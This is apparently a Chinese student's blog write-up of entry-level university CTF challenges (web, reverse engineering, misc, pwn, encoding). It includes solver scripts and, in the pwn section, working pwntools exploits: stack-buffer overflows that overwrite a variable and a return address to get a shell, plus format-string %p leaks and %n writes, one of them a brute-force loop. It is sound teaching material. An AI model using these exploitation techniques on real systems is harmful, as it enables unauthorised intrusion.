狗儿

热爱的话就坚持吧~

0%

矿大CTF入门题

没啥好说的,淦就完事了。

WEB

Judge

1572780696574

太暴力啦!出题的学长列入十一月加急名单哈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests, re, time
url = 'http://202.119.201.199:50000/'
s = requests.Session()
for i in range(20):
print(i)
res = s.get(url)
html = res.content.decode('utf-8')
#print(html)
r = re.search(r'<div>(.+?)</div>', html)
math = r.group(1)
print(math)
math = math.replace('=', '==')
answer = 'true' if eval(math) else 'false'
print(answer)
time.sleep(1.1)
send = s.post(url, data={'answer':answer})#, proxies={'http':'127.0.0.1:8080'})
print(send.content.decode('utf-8'))
#print(s.cookies)

注意要用 s = requests.Session()保留通话记录(cookie)

Hello_PHP

http://202.119.201.199:50003/index.php?a=&b=

PUT me a message

1
2
3
4
import requests
url = 'http://202.119.201.199:50002/'
r = requests.put(url, data='pwnht')
print(r.content)

没搞明白为什么put传的不是key: value形式的数据。

RE

Hello World

1572780895256

注意端序

easy XOR

1
2
3
4
v8 = ':\"AL_RT^L*.?+6/46'
v7 = 'ebmarah'[::-1]
for i in range(len(v8)):
print(chr(ord((v7[i%7])) ^ ord(v8[i])),end='')

v7,注意端序哈。

答案就在眼前

1572958200011

change()的作用是将CUMTCTF{this_is_a_fake_flag_分割成['this', '_is_', 'a_fa', 'ke_f', 'lag_'],并分别转换成int

然后读入5个int,分别比较。

1
2
3
4
5
6
7
8
9
10
11
12
def hex2char(data):
import binascii
return binascii.unhexlify(data)

def char2hex(data):
#data = b'data'
import binascii
return binascii.hexlify(data)

for s in ['this', '_is_', 'a_fa', 'ke_f', 'lag_']:
hex = char2hex(bytes(s[::-1], 'utf-8'))
print(int(hex, 16))

1572958342934

flag就是输入去掉\n

another XOR

1
2
3
4
5
6
a = [0x0a,0x75,0x2c,0x39,0x63,0x20,0x2f,0x9,0x1d,0x0b,0x3b,0x7f,0x08,0x1e,0x7f,0x15,0x1e,0x17,0x16,0x0b,0x24,0x45,0x1c]
b = 'I am tired'
flag = ''
for i in range(len(a)):
flag += chr(a[i] ^ ord(b[i%len(b)]))
print(flag)

string

1
2
3
s = '{opzfpzfzvfzptwsl'
for i in s:
print(chr(ord(i)-7),end='')

Mind reading

随机数种子是一个常值,所以随机数序列是固定的。

动态调试轻松找到v2的值

1574000940894

X0

关键代码:

( v1[*(char *)(i + a1) ^ *((_DWORD *)&v4 + i)] != v2[i] )

v1[ a1[i] ^ v4[i] ] == v2[i],求a1

1
2
3
4
5
6
7
8
v2 = '000ldh_tphhl'
v4 = 'rd~h{eaK xxS'
v1 = 'L1f3_1s_4_j0urn3y_n0t_th3_d3st1n4t10n_but_th3_sc3n3ry_4l0ng_th3_sh0uld_p3_4nd_th3_m00d_4t_th3_v13w'
for i in range(len(v2)):
for j in range(len(v1)):
if v1[j] == v2[i]:
print(chr(j ^ ord(v4[i])), end=' ')
print()

1574002257569

选取有意义的组合。

MISC

包包包

添加后缀.zip

签到都算不上

查看文件属性

结账拿出什么?

base64编码的图片。markdown语法轻松看到图片。

forfun

1574002566058

forfuntoo

1574002657151

按照提示,字母要小写提交

PWN

0x00 写在前面

刚开始学pwn,有些地方可能理解的不对,有错误的话希望大家可以指出来,谢谢。

使用到了**python2 **的一个模块pwn(pip时Ubuntu下是pwn、CentOS7中是pwntools),不能在windows下使用。

python3应该也可以使用pwntools,但我还没有实践过,这里不详细说。

我的环境为Ubuntu16.04,python2.

1
2
3
4
5
6
7
8
9
10
11
12
13
#Ubuntu下安装pwn
apt-get update
apt install python-pip
pip install pwn

#CentOS7下安装pwntools
#http://www.ishenping.com/ArtInfo/234398.html
#https://github.com/facebook/prophet/issues/418
#注意:python2和python3同时存在的,所有pip命令都要加上python2 -m的前缀
#如python2 -m pip install pwntools
yum -y install python-pip
pip install --upgrade setuptools
pip install pwntools

Ubuntu比较适合pwntools,CentOS的坑比较多。推荐Ubuntu哈

来自pwnht的评论(闲话/补充?????

ubuntu安装的时候也可以安装pwntools

1
pip install pwntools

我之前都不知道有pwn这个库,但是用法是一样的,却是两个库,额,建议pwntools哈,可以从下面来,pwn这个最后一次更新在2014,好像已经停止更新了,而pwntools最后一次更新是在2019(一看 pwntoolsdecription 就比较帅,知道选谁了吧

1572938462520

1572938481627

0x01 first try

1572860587050

32位,用ida打开,按下f5将汇编转换成伪C代码。

来自pwnht的评论(闲话/补充?????

理论上来说,我们第一步是checksec,一般pwn题目是不加壳的,但是,会有一些程序保护(详情参考的我ppt程序保护部分),幸运的是这几道题目都没保护2333,其实,checksec是有一个脚本的,但是我更喜欢用ipython这个程序,安装ipython

1
sudo apt install ipython

1572939083748

像这样操作,linux里面arch表示程序的是哪种操作系统类型(i386为32位,amd64为64位),然后下面是4种保护,红色表示程序保护没开,绿色表示开启

其实ida也能分辨64位和32位试一试就知道会有标识的

下面是分割线


1572861112066

要想拿到shell,就要满足v6=99(第30行)。

本题存在两处输入,其中第11行的read()函数存在明显的栈溢出。

双击程序中的任意参数或局部变量,均可跳转至所在函数的栈界面:

1572861550853

容易发现,s字符串的长度为0x1C-0x0C=16,而read()函数可以读入50个字符。当读完16个字符后,如果继续输入,程序并不会停止,而是继续将数据读入栈中,这就会覆盖掉其他的数据。比如写入的第17个字符会覆盖掉上图中的var_C.

var_C恰好就是之前的v6。

把鼠标光标放在v6上,就会自动显示v6在栈内的位置。

1572861947922

或者双击下v6。

来自pwnht的评论(闲话/补充?????

其实这里不用悬停的,或者双击的,因为

1572939698973

滑一下鼠标就可以了,复杂的程序可以悬停,(都行其实2333,怎么快怎么来哈

下面是分割线


上图中的esp是栈顶指针,ebp是栈的基址。

话有些多,直接写脚本吧。

1
2
3
4
5
from pwn import *
p = remote('202.119.201.199', 10000)
payload = 'a'*(0x1c-0x0c) + p32(99)
p.sendline(payload)
p.interactive()

第一行,导入pwn模块

第二行,连接到服务器

第四行,sendline发送payload

第五行,进入交互。此时输入cat flag即可拿到flag

payload的前半部分就是16个字符,写满字符串s,第十七个字节就是我们要修改的v6.

p32()可以将99转换成一个32位的数据。

来自pwnht的评论(闲话/补充?????

这里注意,写expliot脚本的一个好习惯,遇到 read() 要用 send() 不要用 sendline()

这道题目,两个都行,换其他题目可能会多读一个\n (换行符即’\x0a’), (注意大坑,相信我

还有遇到多次输入的时候,就不能用 send() 函数了,要用 sendafter() 或者 sleep() 来控制流程

附上我的expliot

1
2
3
4
5
6
7
8
#!/usr/bin/env python 
from pwn import *
context.log_level='debug'
io=remote('202.119.201.199',10000)
#io=process('./first')
#gdb.attach(io)
io.sendafter('do you want to change it?(yes|no)\n','a'*0x10+p32(99))
io.interactive()

基本上差不多哈

0x02 easy_second_try

1572862797345

使用ida64打开

1572862841416

主函数输入姓名,输出姓名,就结束了。

同时可以看到read()明显的栈溢出。

1572862917274

上面的s是输入的字符串,下面的s是ebp(**此处存疑哈 **),下面的r是函数运行完的返回地址。当这个函数运行完时,程序会跳转至r所储存的地址处,继续运行。

1572432617470

参考阅读《加密与解密》P106.

上图的栈和上上图的栈,顺序是相反的,对照的时候注意下。

函数列表内有个sys函数

1572863298186

1572863306697

可以调用shell.

所以我们通过read()函数,多读入一些字节,将r返回地址覆写为sys的地址,就可以调用这个shell了。

1
2
3
4
5
from pwn import *
p = remote('202.119.201.199', 10002)
payload = 'a'*(0x10+8) + p64(0x400789)
p.sendline(payload)
p.interactive()

payload中,0x10是字符串长度,8是8位的ebp,0x400789是sys的地址,p64将其转换为64位的数据

就酱~

0x03 printf

1572928882030

随机一个数字,输入一个数字,二者相等则拿到shell.

第25行存在printf格式化字符串漏洞。

先来看一下相关知识:

我浅显地总结一下:

常见的printf有两(及以上)个参数,如printf("%d", &a);。但其实printf只需要一个参数,printf("%d%d");,需要参数时从栈顶依次读入即可。前面的printf("%d", &a);本质上就是先把a的地址压入栈内,然后printf读栈顶元素并输出。

printf函数的第一个参数就是格式化字符串。

正常的程序,这个格式化字符串应该是写死在代码里的,但是本题printf的那个字符串是我们输入的,所以我们可以通过一些方式来输出一些数据(或写入一些数据)。

1
2
3
4
5
6
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

%x表示输出栈顶的那个十六进制数据,%i$x表示输出偏离栈顶i处的十六进制数据。

我们现来测试下程序运行到printf()处,栈的情况。

did you hear that?输入长度不超过16的字符串即可。然后do you understand输入7个%p,程序输入从栈顶到偏移栈顶7个32位处的7个十六进制数。

1572930088113

第7个参数输出的是%p%p(0x70是p,0x25是%),所以我们确定了输入的%p%p%p%p%p%p%p这个字符串是从栈内偏移7处开始的(ebp+7)。
1572930264700

0x2c处就是我们输入的字符串的起始位置。我们想要知道的那个随机数在0x0C的var_C处。二者偏移量为(0x2c-0x0c)//4=8,除以4是因为这是32位程序。

buf相对栈顶偏移7,var_C相对buf偏移8,即var_C相对栈顶偏移15

不用脚本,直接手撸

1572866025044

拿到随机数0xa08457,转换成十进制数10519639,输进去,拿到shell.

来自pwnht的评论(闲话/补充?????

你的非预期解呢??????

来自iyzyi的补充

嗯,这道题在pwnht学长提示我之前,我不是这么考虑的。

先说一下格式化字符串中的%n。%n的作用是向保存在栈顶的一个地址处写入一个数,这个数是字符串中位于%n前面的字符的数量。%i$n的作用类似,不过是向偏移栈顶i处保存的地址中写入一个数。比如,对照着上上上图,“abc%6$n”就是向0xf770f244处写入3.

但是,一定要注意,对应的栈中的参数必须是一个合法的地址。比如对照着上上上图,“abc%2$n”就是向0x10处写入3。0x10不是个地址,所以程序会崩溃。

有了以上知识,那我就开始说一下我最初的思路,非预期解。应该可以解题,但是成功的概率实在感人。

我是想通过%n向v8处写入一个数,然后我再输入这个数,自然就可以拿到shell.

但是,万万没有想到,这题v8的地址是一直在改变的,根据我的多次测试,其地址大概位于0xff800000到0xffffffff之间。

于是我就想碰撞一下地址。我在程序里写了个地址,假设它就是字符串的地址,再通过偏移量算出v8的地址。如果某一次程序恰好将字符串加载到我假设的地址处,那么我就可以向v8写入相应的字符数量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
for i in range(10000000):
try:
p = remote('202.119.201.199', 10001)
context.log_level = 'debug'
p.sendlineafter('Did you hear that?', 'yes\n')
payload = p32(0xff9594ec+(0x2c-0xc)) + '%7$n'
p.sendlineafter('do you understand?', payload)
p.sendlineafter('just tell me how mang is it!', '4')
except EOFError:
print 'EFO again~~~~~'
pass
else:
if p.recvline_contains('haha, I know you can\'t do it!'):
print 'NO~~~~~~'
continue
p.interactive()

如果%7$n不是向一个合法的地址处写入,程序会timeout: the monitored command dumped core\n,报错EOFError。为了程序的程序化运行,捕捉了这个异常。

如果恰好碰撞到了一个地址,但是又不是我们需要的那个目标地址,程序会按照流程输出haha, I know you can't do it! 此时我们使用continue跳过这次碰撞。

对了,说明一下,这个脚本不一定正确哈。我还没有跑出来(跑得CPU都糊了)。有兴趣的可以试试。

为了说明一下成功的概率,我放一个数字:0xffffffff-0xff800000=0x7fffff=2^23=8388608。

BASIC

base大礼包哦

base64->url->base32

最基本的编码表

1
2
3
4
5
6
s = r'\u0063\u0075\u006d\u0074\u0063\u0074\u0066\u007b\u0036\u0036\u0036\u0036\u005f\u0036\u0036\u0036\u005f\u0036\u0036\u005f\u0079\u004f\u0075\u005f\u0041\u0072\u0065\u007d'
n = []
for i in range(len(s)//6):
n.append(int(s[(i*6+4):(i*6+6)], 16))
for i in n:
print(chr(i),end='')

猪关在栅栏里

两次栅栏密码。

http://www.atoolbox.net/Tool.php?Id=777